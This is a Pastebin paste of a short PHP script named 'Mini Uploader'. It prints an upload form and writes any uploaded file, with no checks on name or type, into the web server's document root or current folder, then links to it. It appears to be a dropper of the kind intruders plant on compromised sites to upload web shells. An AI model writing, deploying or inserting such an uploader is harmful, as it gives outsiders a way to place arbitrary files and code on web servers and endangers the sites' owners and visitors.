Sakizu

Mini Uploader

Sep 18th, 2019 (edited)
3,044
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.86 KB | None | 0 0
  1. <?php
  2. echo "<form method='post' enctype='multipart/form-data'>";
  3. echo "<input type='file' name='sakizu'><input type='submit' name='upload' value='upload'></form>";
  4. $root  = $_SERVER['DOCUMENT_ROOT'];
  5. $files = $_FILES['sakizu']['name'];
  6. $dest  = $root . '/' . $files;
  7. if (isset($_POST['upload'])) {
  8.     if (is_writable($root)) {
  9.         if (@copy($_FILES['sakizu']['tmp_name'], $dest)) {
  10.             $web = "http://" . $_SERVER['HTTP_HOST'] . "/";
  11.             echo "Uploaded : <a taget='_blank' href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
  12.         } else {
  13.             echo "Failed to upload file at document root";
  14.         }
  15.     } else {
  16.         if (@copy($_FILES['sakizu']['tmp_name'], $files)) {
  17.             echo "<b>$files</b> uploaded successfully in current folder";
  18.         } else {
  19.             echo "Upload Failed";
  20.         }
  21.     }
  22. }
  23. ?>
Add Comment
Please, Sign In to add comment